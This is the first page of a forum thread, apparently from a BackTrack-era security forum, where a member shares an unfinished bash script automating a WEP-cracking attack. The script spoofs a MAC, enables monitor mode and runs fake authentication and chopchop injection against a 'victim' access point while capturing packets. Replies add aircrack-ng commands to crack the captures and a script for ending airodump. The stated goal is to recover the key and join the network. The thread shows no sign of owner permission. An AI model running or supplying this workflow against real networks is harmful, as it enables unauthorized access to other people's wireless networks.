Page 1 of 3 123 LastLast
Results 1 to 10 of 28

Thread: scripting question

  1. #1
    Senior Member shamanvirtuel's Avatar
    Join Date
    Mar 2010
    Location
    Somewhere in the "Ex" human right country
    Posts
    2,988

    Default scripting question

    this an early state of coding and unfinished script, i began this morning....im trying to learn shell scripting, so i do this

    Code:
    clear
    echo "NETCARD DEVICE YOU WANT TO WORK WITH :"
    read devid
    echo
    
    export card=00:11:22:33:44:55 
    export dev=$devid
    
    ifconfig $dev down 
    macchanger --mac $card $dev
    echo "NETCARD MAC UPDATED"
    
    echo
    ifconfig $dev up
    airmon-ng start $dev 
    iwconfig $dev mode monitor 
    ifconfig $dev up
    echo "NETCARD IN MONITOR MODE"
    
    echo
    echo "WILL NOW TEST INJECTION"
    aireplay-ng -9 $dev
    echo
    
    echo "DOES INJECTION TEST IS POSITIVE ? :"
    echo "Ctrl+C if not successful in order to stop script or hit enter to continue"
    read injectok
    echo
    
    echo "WILL NOW SEEK FOR APS"
    echo "close airodump window to continue"
    konsole -e airodump-ng $dev
    
    echo "WILL FILL VICTIM SPECIFICATIONS"
    echo
    echo "type in VICTIM AP ESSID"
    read victid
    export id=$victid
    echo
    echo "type in VICTIM AP MAC"
    read victap
    export ap=$victap
    echo
    echo "type in VICTIM CHANNEL"
    read victchan
    export chan=$victchan
    echo
    
    echo "WILL NOW FAKEAUTH"
    echo
    ifconfig $dev up
    airmon-ng start $dev $chan
    iwconfig $dev mode monitor channel $chan
    ifconfig $dev up
    aireplay-ng -1 0 -e $id -a $ap -h $card $dev
    echo
    
    echo "DOES FAKEAUTH IS SUCCESSFUL ? :"
    echo "Ctrl+C if not successful in order to stop script or hit enter to continue" 
    read fakeauthok
    echo
    
    echo "WILL NOW ATTEMPT CHOPCHOP WITHOUT CLIENT ATTACK AND SAVE REPLIES"
    echo
    echo "WILL NOW FIX NETCARD ON AP CHANNEL"
    ifconfig $dev up
    airmon-ng start $dev $chan
    iwconfig $dev mode monitor channel $chan
    ifconfig $dev up
    echo
    echo "WILL NOW DO CHOPCHOP AGAINST " $ap "ON CHANNEL " $chan
    echo
    konsole -noclose -e aireplay-ng -4 -h $card -b $ap $dev & konsole -noclose -e airodump-ng --channel $chan --write Capture-From-$ap $dev
    echo
    echo "SCRIPT FINISHED"
    some littles pbs occurs for me, some noobs pb....

    How do i Read the file generated by airodump, i mean how i can read specific offset in this textfile ?

    How can i give back focus and continue script in order to script the closing of airodump window previoulsly launched ?

    hope someone knows(i do some search before asking....).......
    Watch your back, your packetz will belong to me soon... xD

    BackTrack :
    Giving Machine Guns to Monkeys since 2006

  2. #2
    Member
    Join Date
    Oct 2006
    Posts
    130

    Default

    No offeence......... STOP WRITING STUPID AUTOMATED CRACKING SCRIPTS!

    Okay, write them, but don't release it

    Other than that I can't help..

  3. #3
    Senior Member shamanvirtuel's Avatar
    Join Date
    Mar 2010
    Location
    Somewhere in the "Ex" human right country
    Posts
    2,988

    Default

    never will release it...it' only for my scripting knowledge and why not when im lazy.....
    Watch your back, your packetz will belong to me soon... xD

    BackTrack :
    Giving Machine Guns to Monkeys since 2006

  4. #4
    Senior Member
    Join Date
    Apr 2007
    Posts
    3,385

    Default

    Quote Originally Posted by shamanvirtuel View Post

    some littles pbs occurs for me, some noobs pb....

    How do i Read the file generated by airodump, i mean how i can read specific offset in this textfile ?

    How can i give back focus and continue script in order to script the closing of airodump window previoulsly launched ?

    hope someone knows(i do some search before asking....).......


    Frenchie,
    Glad to see you trying your hand at scripting. Let me offer you a hand with airodump.
    Try this when dealing with airodump....

    Make a new script and call it airodump.sh
    Type in....

    Code:
    sh -ci "airodump-ng ath0 & > /dev/tty{#} &" 
    ########shamanvirtuel, change ath0 to your devices string or whatever########
    sleep 10 
    killall airodump-ng
    That will stop airodump like the manual Ctrl c command the user does....after 10 secs....adjust your sleep time to fit your needs...the killall command does the manual Ctrl c command.

    Now you need to put this script in the same folder as your main script...and when it comes time in your script to run airodump...put in the path of my script in yours...example

    your script:

    echo "blah blah blah"
    do blah
    then
    fi
    etc....
    /root/airoscript.sh
    echo "more blah blah blah....
    etc....

    that should solve the focus problem in airodump


    Now,
    to read the .cap or .ivs...try this script (hopefully your talking about aircrack-ng or ptw and not manually reading it..lol) this is to automate aircrack and ptw..I copied this from re49togood s script.....

    FOR aircrack-ng.....

    Code:
    echo "cracking with $cap..." 
    			konsole -T Cracking --noclose -e aircrack-ng -a 1 -f 4 $cap &;;
    For aircrack-ptw......

    Code:
    echo "cracking with $cap..." 
    				konsole -T Cracking --noclose -e aircrack-ptw $cap &;;
    [CENTER][FONT=Book Antiqua][SIZE=5][B][COLOR=blue][FONT=Courier New][COLOR=red]--=[/COLOR][/FONT]Xploitz[FONT=Courier New][COLOR=red]=--[/COLOR][/FONT][/COLOR][/B][/SIZE][/FONT][FONT=Courier New][COLOR=Black][SIZE=6][B] ®[/B][/SIZE][/COLOR][/FONT][/CENTER]
    [CENTER][SIZE=4][B]Remote-Exploit.orgs Master Tutorialist.[/B][/SIZE][SIZE=6][B]™
    [/B][/SIZE]
    [URL="http://forums.remote-exploit.org/showthread.php?t=9063"][B]VIDEO: Volume #1 "E-Z No Client WEP Cracking Tutorial"[/B]
    [/URL]
    [URL="http://forums.remote-exploit.org/showthread.php?t=7872"][B]VIDEO: Volume #2 "E-Z No Client Korek Chopchop Attack Tutorial"[/B]
    [/URL]
    [URL="http://forums.remote-exploit.org/showthread.php?t=8230"][B]VIDEO: Volume #3 "E-Z WPA/WPA2 Cracking Tutorial"[/B][/URL]

    [URL="http://forums.remote-exploit.org/showthread.php?t=8041"][B]VIDEO: Volume #4 "E-Z Cracking WPA/WPA2 With Airolib-ng Databases"[/B][/URL]
    [/CENTER]

  5. #5
    Senior Member shamanvirtuel's Avatar
    Join Date
    Mar 2010
    Location
    Somewhere in the "Ex" human right country
    Posts
    2,988

    Wink

    thx for the focus pb...i do understang what it do...so i will try it this night....


    for the airodump file i was meaning....
    how can i found strings in it ? like "ESSID xxxxx" inside this file, how to read a specified numbers of chars from a specified offset INSIDE the file, i want to take out the scan result for later use....that's what i want.....

    BTW work a lot on it today, but dunna want release it publicly when will be finished...here it's non fonctional......it's only the first codings i do in the morning...
    im still learning each hours..

    idea is
    a max automation (just choose card, verify injection, choose ap after detection...choose client or fakeauth....etc....)with all the attacks type possible enchained one after one if one fails(user decide) the next one begins .......if one is recognized as good(will verify numbers of ivs periodically), launch aircrack -z atttack(ptw)....and finally param card to connect with ap and dhcp it.......

    long path...big learning... (Mazatek proverb)
    Watch your back, your packetz will belong to me soon... xD

    BackTrack :
    Giving Machine Guns to Monkeys since 2006

  6. #6
    Senior Member
    Join Date
    Apr 2007
    Posts
    3,385

    Default

    Quote Originally Posted by shamanvirtuel View Post
    thx for the focus pb...i do understang what it do...so i will try it this night....


    for the airodump file i was meaning....
    how can i found strings in it ? like "ESSID xxxxx" inside this file, how to read a specified numbers of chars from a specified offset INSIDE the file, i want to take out the scan result for later use....that's what i want.....
    Sorry shamanvirtuel,
    But someone else will have to help you out with that. I misunderstood you at first. I'm fairly new to scripting as well. I would like to test out your script however when your done...if you don't mind. Good luck...and glad I could help you out with the focus problem.
    [CENTER][FONT=Book Antiqua][SIZE=5][B][COLOR=blue][FONT=Courier New][COLOR=red]--=[/COLOR][/FONT]Xploitz[FONT=Courier New][COLOR=red]=--[/COLOR][/FONT][/COLOR][/B][/SIZE][/FONT][FONT=Courier New][COLOR=Black][SIZE=6][B] ®[/B][/SIZE][/COLOR][/FONT][/CENTER]
    [CENTER][SIZE=4][B]Remote-Exploit.orgs Master Tutorialist.[/B][/SIZE][SIZE=6][B]™
    [/B][/SIZE]
    [URL="http://forums.remote-exploit.org/showthread.php?t=9063"][B]VIDEO: Volume #1 "E-Z No Client WEP Cracking Tutorial"[/B]
    [/URL]
    [URL="http://forums.remote-exploit.org/showthread.php?t=7872"][B]VIDEO: Volume #2 "E-Z No Client Korek Chopchop Attack Tutorial"[/B]
    [/URL]
    [URL="http://forums.remote-exploit.org/showthread.php?t=8230"][B]VIDEO: Volume #3 "E-Z WPA/WPA2 Cracking Tutorial"[/B][/URL]

    [URL="http://forums.remote-exploit.org/showthread.php?t=8041"][B]VIDEO: Volume #4 "E-Z Cracking WPA/WPA2 With Airolib-ng Databases"[/B][/URL]
    [/CENTER]

  7. #7
    Member
    Join Date
    Mar 2007
    Posts
    335

    Default

    I think i understood your first question about airodump. i'v tried to do this too but havent worked that part out yet.
    so i cant help you on this. i'l have another go at it tonight. that link you gave me for that prog. that thing is the shit. nice nice!!!.
    im trying to do something weird with it but i dont think its possible.
    i'l let you know what im trying to do when your less busy with your script.
    in the meantime i'll try to get somewhere with airodump.

    Xploitz
    i'v been meaning to ask ya, how did you get on with that script. did you finish it and if you have can i try it. or are you not sharing

  8. #8
    Senior Member
    Join Date
    Apr 2007
    Posts
    3,385

    Default

    Quote Originally Posted by Baxter View Post
    Xploitz
    i'v been meaning to ask ya, how did you get on with that script. did you finish it and if you have can i try it. or are you not sharing
    Before I answer this....try my airodump script...it will work...just add it to your script

    As far as my script...I still haven't gotten all the bugs out...if you wanna look at it...here ya go...but like I said..it is my first shot at scripting and I made this one SPECIFICALLY for the Atheros chipset. LOTS of bugs to work out..and remember..its a mix of my script with re49togood s'
    [CENTER][FONT=Book Antiqua][SIZE=5][B][COLOR=blue][FONT=Courier New][COLOR=red]--=[/COLOR][/FONT]Xploitz[FONT=Courier New][COLOR=red]=--[/COLOR][/FONT][/COLOR][/B][/SIZE][/FONT][FONT=Courier New][COLOR=Black][SIZE=6][B] ®[/B][/SIZE][/COLOR][/FONT][/CENTER]
    [CENTER][SIZE=4][B]Remote-Exploit.orgs Master Tutorialist.[/B][/SIZE][SIZE=6][B]™
    [/B][/SIZE]
    [URL="http://forums.remote-exploit.org/showthread.php?t=9063"][B]VIDEO: Volume #1 "E-Z No Client WEP Cracking Tutorial"[/B]
    [/URL]
    [URL="http://forums.remote-exploit.org/showthread.php?t=7872"][B]VIDEO: Volume #2 "E-Z No Client Korek Chopchop Attack Tutorial"[/B]
    [/URL]
    [URL="http://forums.remote-exploit.org/showthread.php?t=8230"][B]VIDEO: Volume #3 "E-Z WPA/WPA2 Cracking Tutorial"[/B][/URL]

    [URL="http://forums.remote-exploit.org/showthread.php?t=8041"][B]VIDEO: Volume #4 "E-Z Cracking WPA/WPA2 With Airolib-ng Databases"[/B][/URL]
    [/CENTER]

  9. #9
    Senior Member
    Join Date
    Apr 2007
    Posts
    3,385

    Default

    Heres the scripts..I had problems..cant upload .sh had to change to .txt
    [CENTER][FONT=Book Antiqua][SIZE=5][B][COLOR=blue][FONT=Courier New][COLOR=red]--=[/COLOR][/FONT]Xploitz[FONT=Courier New][COLOR=red]=--[/COLOR][/FONT][/COLOR][/B][/SIZE][/FONT][FONT=Courier New][COLOR=Black][SIZE=6][B] ®[/B][/SIZE][/COLOR][/FONT][/CENTER]
    [CENTER][SIZE=4][B]Remote-Exploit.orgs Master Tutorialist.[/B][/SIZE][SIZE=6][B]™
    [/B][/SIZE]
    [URL="http://forums.remote-exploit.org/showthread.php?t=9063"][B]VIDEO: Volume #1 "E-Z No Client WEP Cracking Tutorial"[/B]
    [/URL]
    [URL="http://forums.remote-exploit.org/showthread.php?t=7872"][B]VIDEO: Volume #2 "E-Z No Client Korek Chopchop Attack Tutorial"[/B]
    [/URL]
    [URL="http://forums.remote-exploit.org/showthread.php?t=8230"][B]VIDEO: Volume #3 "E-Z WPA/WPA2 Cracking Tutorial"[/B][/URL]

    [URL="http://forums.remote-exploit.org/showthread.php?t=8041"][B]VIDEO: Volume #4 "E-Z Cracking WPA/WPA2 With Airolib-ng Databases"[/B][/URL]
    [/CENTER]

  10. #10
    Member
    Join Date
    Mar 2007
    Posts
    335

    Default

    got em, i'l go get my hdd install sorted out and get these babys fired up.

Page 1 of 3 123 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •